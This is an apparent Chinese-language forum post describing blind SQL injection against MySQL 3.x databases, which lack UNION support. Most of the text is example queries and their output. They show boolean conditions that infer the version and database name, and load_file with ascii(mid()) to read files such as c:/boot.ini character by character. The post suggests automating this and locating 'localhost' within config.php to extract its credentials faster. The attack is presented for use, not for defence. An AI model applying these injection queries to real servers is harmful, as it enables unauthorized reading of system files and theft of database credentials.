mysql 3.0的注射
對mysql的注射主要是靠union 的聯集查詢,但union只對版本4。0以上的有用,對3。0以下的就沒用了。。。。。。。。。。
所以在mysql 3.0的資料庫裡沒辦法使用union進行跨表查詢,但可以使用load_file
但是也不可以直接使用union替換出來。 下面就是我的一點思路:
得到版本:
mysql> select * from user where userid=1 and length(version())<10;
Empty set (0.00 sec)
mysql> select * from user where userid=1 and length(version())<1777;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
得到當前資料庫:
mysql> select * from user where userid=1 and length(database())>0;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
暴取檔案代碼:
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;
Empty set (0.05 sec)
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
因為工作量大,可以用程式來實現(不過也很麻煩)
另外思路: 可以先使用字元處理函數得到"特殊字元的位置",如我們暴的是config.php檔案我們就可以選取"localhost"(或其他)為特殊字元,先得到所在的位置(在哪個位元組),在去猜它附近的,這樣可以省去不少工作量。